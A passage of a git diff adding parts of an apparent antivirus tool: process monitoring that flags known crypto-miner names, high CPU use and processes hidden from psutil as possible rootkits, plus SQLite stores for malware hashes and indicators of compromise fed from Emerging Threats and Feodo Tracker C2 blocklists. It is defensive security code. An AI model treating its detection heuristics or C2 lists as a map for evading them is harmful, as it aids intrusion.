suspicious, + "high_cpu": high_cpu, + "hidden": hidden, + } + + # ------------------------------------------------------------------ + # Process enumeration + # ------------------------------------------------------------------ + + @staticmethod + def get_all_processes() -> List[Dict[str, Any]]: + """Return a snapshot of every running process. + + Each dict contains: ``pid``, ``name``, ``cmdline``, ``cpu_percent``, + ``memory_percent``, ``username``, ``create_time``, ``connections``, + ``open_files``. + """ + result: List[Dict[str, Any]] = [] + attrs = [ + "pid", "name", "cmdline", "cpu_percent", + "memory_percent", "username", "create_time", + ] + + for proc in psutil.process_iter(attrs): + try: + info = proc.info + # Connections and open files are expensive; fetch lazily. + try: + connections = [ + { + "fd": c.fd, + "family": str(c.family), + "type": str(c.type), + "laddr": f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "", + "raddr": f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "", + "status": c.status, + } + for c in proc.net_connections() + ] + except (psutil.AccessDenied, psutil.NoSuchProcess, OSError): + connections = [] + + try: + open_files = [f.path for f in proc.open_files()] + except (psutil.AccessDenied, psutil.NoSuchProcess, OSError): + open_files = [] + + create_time = info.get("create_time") + result.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": info.get("cpu_percent") or 0.0, + "memory_percent": info.get("memory_percent") or 0.0, + "username": info.get("username", "?"), + "create_time": ( + datetime.utcfromtimestamp(create_time).isoformat() + if create_time + else None + ), + "connections": connections, + "open_files": open_files, + }) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return result + + # ------------------------------------------------------------------ + # Suspicious-process detection + # ------------------------------------------------------------------ + + def find_suspicious_processes(self) -> List[Dict[str, Any]]: + """Return processes whose name or command line matches a known miner. + + Matches are case-insensitive against + :pydata:`constants.CRYPTO_MINER_PROCESS_NAMES`. + """ + suspicious: List[Dict[str, Any]] = [] + + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent", "username"]): + try: + info = proc.info + pname = (info.get("name") or "").lower() + cmdline = " ".join(info.get("cmdline") or []).lower() + + for miner in CRYPTO_MINER_PROCESS_NAMES: + if miner in pname or miner in cmdline: + suspicious.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": info.get("cpu_percent") or 0.0, + "username": info.get("username", "?"), + "matched_signature": miner, + "reason": f"Known miner process: {miner}", + "severity": "CRITICAL", + }) + break # one match per process + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return suspicious + + # ------------------------------------------------------------------ + # High-CPU detection + # ------------------------------------------------------------------ + + def find_high_cpu_processes( + self, + threshold: Optional[float] = None, + ) -> List[Dict[str, Any]]: + """Return processes whose CPU usage exceeds *threshold* percent. + + Parameters + ---------- + threshold: + Override the instance-level ``cpu_threshold``. + """ + limit = threshold if threshold is not None else self.cpu_threshold + high: List[Dict[str, Any]] = [] + + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent", "username"]): + try: + info = proc.info + cpu = info.get("cpu_percent") or 0.0 + if cpu > limit: + high.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": cpu, + "username": info.get("username", "?"), + "reason": f"High CPU usage: {cpu:.1f}%", + "severity": "HIGH", + }) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return high + + # ------------------------------------------------------------------ + # Hidden-process detection (Linux only) + # ------------------------------------------------------------------ + + @staticmethod + def find_hidden_processes() -> List[Dict[str, Any]]: + """Detect processes visible in ``/proc`` but hidden from ``psutil``. + + On non-Linux systems this returns an empty list. + + A mismatch may indicate a userland rootkit that hooks the process + listing syscalls. + """ + proc_dir = Path("/proc") + if not proc_dir.is_dir(): + return [] # not Linux + + # PIDs visible via /proc filesystem. + proc_pids: set[int] = set() + try: + for entry in proc_dir.iterdir(): + if entry.name.isdigit(): + proc_pids.add(int(entry.name)) + except PermissionError: + logger.warning("Cannot enumerate /proc") + return [] + + # PIDs visible via psutil (which ultimately calls getdents / readdir). + psutil_pids = set(psutil.pids()) + + hidden: List[Dict[str, Any]] = [] + for pid in proc_pids - psutil_pids: + # Read whatever we can from /proc/. + name = "" + cmdline = "" + try: + comm = proc_dir / str(pid) / "comm" + if comm.exists(): + name = comm.read_text().strip() + except OSError: + pass + try: + cl = proc_dir / str(pid) / "cmdline" + if cl.exists(): + cmdline = cl.read_bytes().replace(b"\x00", b" ").decode(errors="replace").strip() + except OSError: + pass + + hidden.append({ + "pid": pid, + "name": name, + "cmdline": cmdline, + "reason": "Process visible in /proc but hidden from psutil (possible rootkit)", + "severity": "CRITICAL", + }) + + return hidden + + # ------------------------------------------------------------------ + # Single-process detail + # ------------------------------------------------------------------ + + @staticmethod + def get_process_details(pid: int) -> Dict[str, Any]: + """Return comprehensive information about a single process. + + Raises + ------ + psutil.NoSuchProcess + If the PID does not exist. + psutil.AccessDenied + If the caller lacks permission to inspect the process. + """ + proc = psutil.Process(pid) + with proc.oneshot(): + info: Dict[str, Any] = { + "pid": proc.pid, + "name": proc.name(), + "exe": "", + "cmdline": proc.cmdline(), + "status": proc.status(), + "username": "", + "cpu_percent": proc.cpu_percent(interval=0.1), + "memory_percent": proc.memory_percent(), + "memory_info": {}, + "create_time": datetime.utcfromtimestamp(proc.create_time()).isoformat(), + "cwd": "", + "open_files": [], + "connections": [], + "threads": proc.num_threads(), + "nice": None, + "environ": {}, + } + + try: + info["exe"] = proc.exe() + except (psutil.AccessDenied, OSError): + pass + + try: + info["username"] = proc.username() + except psutil.AccessDenied: + pass + + try: + mem = proc.memory_info() + info["memory_info"] = {"rss": mem.rss, "vms": mem.vms} + except (psutil.AccessDenied, OSError): + pass + + try: + info["cwd"] = proc.cwd() + except (psutil.AccessDenied, OSError): + pass + + try: + info["open_files"] = [f.path for f in proc.open_files()] + except (psutil.AccessDenied, OSError): + pass + + try: + info["connections"] = [ + { + "laddr": f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "", + "raddr": f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "", + "status": c.status, + } + for c in proc.net_connections() + ] + except (psutil.AccessDenied, OSError): + pass + + try: + info["nice"] = proc.nice() + except (psutil.AccessDenied, OSError): + pass + + try: + info["environ"] = dict(proc.environ()) + except (psutil.AccessDenied, OSError): + pass + + return info + + # ------------------------------------------------------------------ + # Process control + # ------------------------------------------------------------------ + + @staticmethod + def kill_process(pid: int) -> bool: + """Send ``SIGKILL`` to the process with *pid*. + + Returns ``True`` if the signal was delivered successfully, ``False`` + otherwise (e.g. the process no longer exists or permission denied). + """ + try: + proc = psutil.Process(pid) + proc.kill() # SIGKILL + proc.wait(timeout=5) + logger.info("Killed process %d (%s)", pid, proc.name()) + return True + except psutil.NoSuchProcess: + logger.warning("Process %d no longer exists", pid) + return False + except psutil.AccessDenied: + logger.error("Permission denied killing process %d", pid) + # Fall back to raw signal as a last resort. + try: + os.kill(pid, signal.SIGKILL) + logger.info("Killed process %d via os.kill", pid) + return True + except OSError as exc: + logger.error("os.kill(%d) failed: %s", pid, exc) + return False + except psutil.TimeoutExpired: + logger.warning("Process %d did not exit within timeout", pid) + return False diff --git a/ayn-antivirus/ayn_antivirus/signatures/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/db/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py b/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py new file mode 100644 index 0000000..a891ee4 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py @@ -0,0 +1,251 @@ +"""SQLite-backed malware hash database for AYN Antivirus. + +Stores SHA-256 / MD5 hashes of known threats with associated metadata +(threat name, type, severity, source feed) and provides efficient lookup, +bulk-insert, search, and export operations. +""" + +from __future__ import annotations + +import csv +import logging +import sqlite3 +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence, Tuple + +from ayn_antivirus.constants import DEFAULT_DB_PATH + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Schema +# --------------------------------------------------------------------------- +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS threats ( + hash TEXT PRIMARY KEY, + threat_name TEXT NOT NULL, + threat_type TEXT NOT NULL DEFAULT 'MALWARE', + severity TEXT NOT NULL DEFAULT 'HIGH', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')), + details TEXT NOT NULL DEFAULT '' +); +CREATE INDEX IF NOT EXISTS idx_threats_type ON threats(threat_type); +CREATE INDEX IF NOT EXISTS idx_threats_source ON threats(source); +CREATE INDEX IF NOT EXISTS idx_threats_name ON threats(threat_name); + +CREATE TABLE IF NOT EXISTS meta ( + key TEXT PRIMARY KEY, + value TEXT +); +""" + + +class HashDatabase: + """Manage a local SQLite database of known-malicious file hashes. + + Parameters + ---------- + db_path: + Path to the SQLite file. Created automatically (with parent dirs) + if it doesn't exist. + """ + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = Path(db_path) + self._conn: Optional[sqlite3.Connection] = None + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def initialize(self) -> None: + """Open the database and create tables if necessary.""" + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.executescript(_SCHEMA) + self._conn.commit() + logger.info("HashDatabase opened: %s (%d hashes)", self.db_path, self.count()) + + def close(self) -> None: + """Flush and close the database.""" + if self._conn: + self._conn.close() + self._conn = None + + @property + def conn(self) -> sqlite3.Connection: + if self._conn is None: + self.initialize() + assert self._conn is not None + return self._conn + + # ------------------------------------------------------------------ + # Single-record operations + # ------------------------------------------------------------------ + + def add_hash( + self, + hash_str: str, + threat_name: str, + threat_type: str = "MALWARE", + severity: str = "HIGH", + source: str = "", + details: str = "", + ) -> None: + """Insert or replace a single hash record.""" + self.conn.execute( + "INSERT OR REPLACE INTO threats " + "(hash, threat_name, threat_type, severity, source, added_date, details) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + ( + hash_str.lower(), + threat_name, + threat_type, + severity, + source, + datetime.utcnow().isoformat(), + details, + ), + ) + self.conn.commit() + + def lookup(self, hash_str: str) -> Optional[Dict[str, Any]]: + """Look up a hash and return its metadata, or ``None``.""" + row = self.conn.execute( + "SELECT * FROM threats WHERE hash = ?", (hash_str.lower(),) + ).fetchone() + if row is None: + return None + return dict(row) + + def remove(self, hash_str: str) -> bool: + """Delete a hash record. Returns ``True`` if a row was deleted.""" + cur = self.conn.execute( + "DELETE FROM threats WHERE hash = ?", (hash_str.lower(),) + ) + self.conn.commit() + return cur.rowcount > 0 + + # ------------------------------------------------------------------ + # Bulk operations + # ------------------------------------------------------------------ + + def bulk_add( + self, + records: Sequence[Tuple[str, str, str, str, str, str]], + ) -> int: + """Efficiently insert new hashes in a single transaction. + + Uses ``INSERT OR IGNORE`` so existing entries are preserved and + only genuinely new hashes are counted. + + Parameters + ---------- + records: + Sequence of ``(hash, threat_name, threat_type, severity, source, details)`` + tuples. + + Returns + ------- + int + Number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [ + (h.lower(), name, ttype, sev, src, now, det) + for h, name, ttype, sev, src, det in records + ] + before = self.count() + self.conn.executemany( + "INSERT OR IGNORE INTO threats " + "(hash, threat_name, threat_type, severity, source, added_date, details) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self.count() - before + + # ------------------------------------------------------------------ + # Query helpers + # ------------------------------------------------------------------ + + def count(self) -> int: + """Total number of hashes in the database.""" + return self.conn.execute("SELECT COUNT(*) FROM threats").fetchone()[0] + + def get_stats(self) -> Dict[str, Any]: + """Return aggregate statistics about the database.""" + c = self.conn + by_type = { + row[0]: row[1] + for row in c.execute( + "SELECT threat_type, COUNT(*) FROM threats GROUP BY threat_type" + ).fetchall() + } + by_source = { + row[0]: row[1] + for row in c.execute( + "SELECT source, COUNT(*) FROM threats GROUP BY source" + ).fetchall() + } + latest = c.execute( + "SELECT MAX(added_date) FROM threats" + ).fetchone()[0] + return { + "total": self.count(), + "by_type": by_type, + "by_source": by_source, + "latest_update": latest, + } + + def search(self, query: str) -> List[Dict[str, Any]]: + """Search threat names with a SQL LIKE pattern. + + Example: ``search("%Trojan%")`` + """ + rows = self.conn.execute( + "SELECT * FROM threats WHERE threat_name LIKE ? ORDER BY added_date DESC LIMIT 500", + (query,), + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Export + # ------------------------------------------------------------------ + + def export_hashes(self, filepath: str | Path) -> int: + """Export all hashes to a CSV file. Returns the row count.""" + filepath = Path(filepath) + filepath.parent.mkdir(parents=True, exist_ok=True) + rows = self.conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, added_date, details " + "FROM threats ORDER BY added_date DESC" + ).fetchall() + with open(filepath, "w", newline="") as fh: + writer = csv.writer(fh) + writer.writerow(["hash", "threat_name", "threat_type", "severity", "source", "added_date", "details"]) + for row in rows: + writer.writerow(list(row)) + return len(rows) + + # ------------------------------------------------------------------ + # Meta helpers (used by manager to track feed state) + # ------------------------------------------------------------------ + + def set_meta(self, key: str, value: str) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO meta (key, value) VALUES (?, ?)", (key, value) + ) + self.conn.commit() + + def get_meta(self, key: str) -> Optional[str]: + row = self.conn.execute( + "SELECT value FROM meta WHERE key = ?", (key,) + ).fetchone() + return row[0] if row else None diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py b/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py new file mode 100644 index 0000000..fdc5563 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py @@ -0,0 +1,259 @@ +"""SQLite-backed Indicator of Compromise (IOC) database for AYN Antivirus. + +Stores malicious IPs, domains, and URLs sourced from threat-intelligence +feeds so that the network scanner and detectors can perform real-time +lookups. +""" + +from __future__ import annotations + +import logging +import sqlite3 +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence, Set, Tuple + +from ayn_antivirus.constants import DEFAULT_DB_PATH + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Schema +# --------------------------------------------------------------------------- +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS ioc_ips ( + ip TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'C2', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_ips_source ON ioc_ips(source); + +CREATE TABLE IF NOT EXISTS ioc_domains ( + domain TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'C2', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_domains_source ON ioc_domains(source); + +CREATE TABLE IF NOT EXISTS ioc_urls ( + url TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'malware_distribution', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_urls_source ON ioc_urls(source); +""" + + +class IOCDatabase: + """Manage a local SQLite store of Indicators of Compromise. + + Parameters + ---------- + db_path: + Path to the SQLite file. Shares the same file as + :class:`HashDatabase` by default; each uses its own tables. + """ + + _VALID_TABLES: frozenset = frozenset({"ioc_ips", "ioc_domains", "ioc_urls"}) + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = Path(db_path) + self._conn: Optional[sqlite3.Connection] = None + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def initialize(self) -> None: + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.executescript(_SCHEMA) + self._conn.commit() + logger.info( + "IOCDatabase opened: %s (IPs=%d, domains=%d, URLs=%d)", + self.db_path, + self._count("ioc_ips"), + self._count("ioc_domains"), + self._count("ioc_urls"), + ) + + def close(self) -> None: + if self._conn: + self._conn.close() + self._conn = None + + @property + def conn(self) -> sqlite3.Connection: + if self._conn is None: + self.initialize() + assert self._conn is not None + return self._conn + + def _count(self, table: str) -> int: + if table not in self._VALID_TABLES: + raise ValueError(f"Invalid table name: {table}") + return self.conn.execute(f"SELECT COUNT(*) FROM {table}").fetchone()[0] + + # ------------------------------------------------------------------ + # IPs + # ------------------------------------------------------------------ + + def add_ip( + self, + ip: str, + threat_name: str = "", + type: str = "C2", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_ips (ip, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (ip, threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_ips( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert IPs. Each tuple: ``(ip, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(ip, tn, t, src, now) for ip, tn, t, src in records] + before = self._count("ioc_ips") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_ips (ip, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_ips") - before + + def lookup_ip(self, ip: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_ips WHERE ip = ?", (ip,) + ).fetchone() + return dict(row) if row else None + + def get_all_malicious_ips(self) -> Set[str]: + """Return every stored malicious IP as a set for fast membership tests.""" + rows = self.conn.execute("SELECT ip FROM ioc_ips").fetchall() + return {row[0] for row in rows} + + # ------------------------------------------------------------------ + # Domains + # ------------------------------------------------------------------ + + def add_domain( + self, + domain: str, + threat_name: str = "", + type: str = "C2", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_domains (domain, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (domain.lower(), threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_domains( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert domains. Each tuple: ``(domain, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(d.lower(), tn, t, src, now) for d, tn, t, src in records] + before = self._count("ioc_domains") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_domains (domain, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_domains") - before + + def lookup_domain(self, domain: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_domains WHERE domain = ?", (domain.lower(),) + ).fetchone() + return dict(row) if row else None + + def get_all_malicious_domains(self) -> Set[str]: + """Return every stored malicious domain as a set.""" + rows = self.conn.execute("SELECT domain FROM ioc_domains").fetchall() + return {row[0] for row in rows} + + # ------------------------------------------------------------------ + # URLs + # ------------------------------------------------------------------ + + def add_url( + self, + url: str, + threat_name: str = "", + type: str = "malware_distribution", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_urls (url, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (url, threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_urls( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert URLs. Each tuple: ``(url, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(u, tn, t, src, now) for u, tn, t, src in records] + before = self._count("ioc_urls") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_urls (url, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_urls") - before + + def lookup_url(self, url: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_urls WHERE url = ?", (url,) + ).fetchone() + return dict(row) if row else None + + # ------------------------------------------------------------------ + # Aggregate stats + # ------------------------------------------------------------------ + + def get_stats(self) -> Dict[str, Any]: + return { + "ips": self._count("ioc_ips"), + "domains": self._count("ioc_domains"), + "urls": self._count("ioc_urls"), + } diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py new file mode 100644 index 0000000..59d7901 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py @@ -0,0 +1,92 @@ +"""Abstract base class for AYN threat-intelligence feeds.""" + +from __future__ import annotations + +import logging +import time +from abc import ABC, abstractmethod +from datetime import datetime +from typing import Any, Dict, List, Optional + +logger = logging.getLogger(__name__) + + +class BaseFeed(ABC): + """Common interface for all external threat-intelligence feeds. + + Provides rate-limiting, last-updated tracking, and a uniform + ``fetch()`` contract so the :class:`SignatureManager` can orchestrate + updates without knowing feed internals. + + Parameters + ---------- + rate_limit_seconds: + Minimum interval between successive HTTP requests to the same feed. + """ + + def __init__(self, rate_limit_seconds: float = 2.0) -> None: + self._rate_limit = rate_limit_seconds + self._last_request_time: float = 0.0 + self._last_updated: Optional[datetime] = None + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @abstractmethod + def get_name(self) -> str: + """Return a short, human-readable feed name.""" + ... + + # ------------------------------------------------------------------ + # Fetching + # ------------------------------------------------------------------ + + @abstractmethod + def fetch(self) -> List[Dict[str, Any]]: + """Download the latest entries from the feed. + + Returns a list of dicts. The exact keys depend on the feed type + (hashes, IOCs, rules, etc.). The :class:`SignatureManager` is + responsible for routing each entry to the correct database. + """ + ... + + # ------------------------------------------------------------------ + # State + # ------------------------------------------------------------------ + + @property + def last_updated(self) -> Optional[datetime]: + """Timestamp of the most recent successful fetch.""" + return self._last_updated + + def _mark_updated(self) -> None: + """Record the current time as the last-successful-fetch timestamp.""" + self._last_updated = datetime.utcnow() + + # ------------------------------------------------------------------ + # Rate limiting + # ------------------------------------------------------------------ + + def _rate_limit_wait(self) -> None: + """Block until the rate-limit window has elapsed.""" + elapsed = time.monotonic() - self._last_request_time + remaining = self._rate_limit - elapsed + if remaining > 0: + logger.debug("[%s] Rate-limiting: sleeping %.1fs", self.get_name(), remaining) + time.sleep(remaining) + self._last_request_time = time.monotonic() + + # ------------------------------------------------------------------ + # Logging helpers + # ------------------------------------------------------------------ + + def _log(self, msg: str, *args: Any) -> None: + logger.info("[%s] " + msg, self.get_name(), *args) + + def _warn(self, msg: str, *args: Any) -> None: + logger.warning("[%s] " + msg, self.get_name(), *args) + + def _error(self, msg: str, *args: Any) -> None: + logger.error("[%s] " + msg, self.get_name(), *args) diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py new file mode 100644 index 0000000..c46d305 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py @@ -0,0 +1,124 @@ +"""Emerging Threats (ET Open) feed for AYN Antivirus. + +Parses community Suricata / Snort rules from Proofpoint's ET Open project +to extract IOCs (IP addresses and domains) referenced in active detection +rules. + +Source: https://rules.emergingthreats.net/open/suricata/rules/ +""" + +from __future__ import annotations + +import logging +import re +from typing import Any, Dict, List, Set + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +# We focus on the compromised-IP and C2 rule files. +_RULE_URLS = [ + "https://rules.emergingthreats.net/open/suricata/rules/compromised-ips.txt", + "https://rules.emergingthreats.net/open/suricata/rules/botcc.rules", + "https://rules.emergingthreats.net/open/suricata/rules/ciarmy.rules", + "https://rules.emergingthreats.net/open/suricata/rules/emerging-malware.rules", +] +_TIMEOUT = 30 + +# Regex patterns to extract IPs and domains from rule bodies. +_RE_IPV4 = re.compile(r"\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\b") +_RE_DOMAIN = re.compile( + r'content:"([a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?' + r'(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*' + r'\.[a-zA-Z]{2,})"' +) + +# Private / non-routable ranges to exclude from IP results. +_PRIVATE_PREFIXES = ( + "10.", "127.", "172.16.", "172.17.", "172.18.", "172.19.", + "172.20.", "172.21.", "172.22.", "172.23.", "172.24.", "172.25.", + "172.26.", "172.27.", "172.28.", "172.29.", "172.30.", "172.31.", + "192.168.", "0.", "255.", "224.", +) + + +class EmergingThreatsFeed(BaseFeed): + """Parse ET Open rule files to extract malicious IPs and domains.""" + + def get_name(self) -> str: + return "emergingthreats" + + def fetch(self) -> List[Dict[str, Any]]: + """Download and parse ET Open rules, returning IOC dicts. + + Each dict has: ``ioc_type`` (``"ip"`` or ``"domain"``), ``value``, + ``threat_name``, ``type``, ``source``. + """ + self._log("Downloading ET Open rule files") + + all_ips: Set[str] = set() + all_domains: Set[str] = set() + + for url in _RULE_URLS: + self._rate_limit_wait() + try: + resp = requests.get(url, timeout=_TIMEOUT) + resp.raise_for_status() + text = resp.text + except requests.RequestException as exc: + self._warn("Failed to fetch %s: %s", url, exc) + continue + + # Extract IPs. + if url.endswith(".txt"): + # Plain text IP list (one per line). + for line in text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + match = _RE_IPV4.match(line) + if match: + ip = match.group(1) + if not ip.startswith(_PRIVATE_PREFIXES): + all_ips.add(ip) + else: + # Suricata rule file — extract IPs from rule body. + for ip_match in _RE_IPV4.finditer(text): + ip = ip_match.group(1) + if not ip.startswith(_PRIVATE_PREFIXES): + all_ips.add(ip) + + # Extract domains from content matches. + for domain_match in _RE_DOMAIN.finditer(text): + domain = domain_match.group(1).lower() + # Filter out very short or generic patterns. + if "." in domain and len(domain) > 4: + all_domains.add(domain) + + # Build result list. + results: List[Dict[str, Any]] = [] + for ip in all_ips: + results.append({ + "ioc_type": "ip", + "value": ip, + "threat_name": "ET.Compromised", + "type": "C2", + "source": "emergingthreats", + "details": "IP from Emerging Threats ET Open rules", + }) + for domain in all_domains: + results.append({ + "ioc_type": "domain", + "value": domain, + "threat_name": "ET.MaliciousDomain", + "type": "C2", + "source": "emergingthreats", + "details": "Domain extracted from ET Open Suricata rules", + }) + + self._log("Extracted %d IP(s) and %d domain(s)", len(all_ips), len(all_domains)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py new file mode 100644 index 0000000..8cf0195 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py @@ -0,0 +1,73 @@ +"""Feodo Tracker feed for AYN Antivirus. + +Downloads the recommended IP blocklist from the abuse.ch Feodo Tracker +project. The list contains IP addresses of verified botnet C2 servers +(Dridex, Emotet, TrickBot, QakBot, etc.). + +Source: https://feodotracker.abuse.ch/blocklist/ +""" + +from __future__ import annotations + +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_BLOCKLIST_URL = "https://feodotracker.abuse.ch/downloads/ipblocklist_aggressive.txt" +_TIMEOUT = 30 + + +class FeodoTrackerFeed(BaseFeed): + """Fetch C2 server IPs from the Feodo Tracker blocklist.""" + + def get_name(self) -> str: + return "feodotracker" + + def fetch(self) -> List[Dict[str, Any]]: + """Download the recommended IP blocklist. + + Returns a list of dicts, each with: + ``ioc_type="ip"``, ``value``, ``threat_name``, ``type``, ``source``. + """ + self._rate_limit_wait() + self._log("Downloading Feodo Tracker IP blocklist") + + try: + resp = requests.get(_BLOCKLIST_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + for line in resp.text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + # Basic IPv4 validation. + parts = line.split(".") + if len(parts) != 4: + continue + try: + if not all(0 <= int(p) <= 255 for p in parts): + continue + except ValueError: + continue + + results.append({ + "ioc_type": "ip", + "value": line, + "threat_name": "Botnet.C2.Feodo", + "type": "C2", + "source": "feodotracker", + "details": "Verified botnet C2 IP from Feodo Tracker", + }) + + self._log("Fetched %d C2 IP(s)", len(results)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py new file mode 100644 index 0000000..b368b81 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py @@ 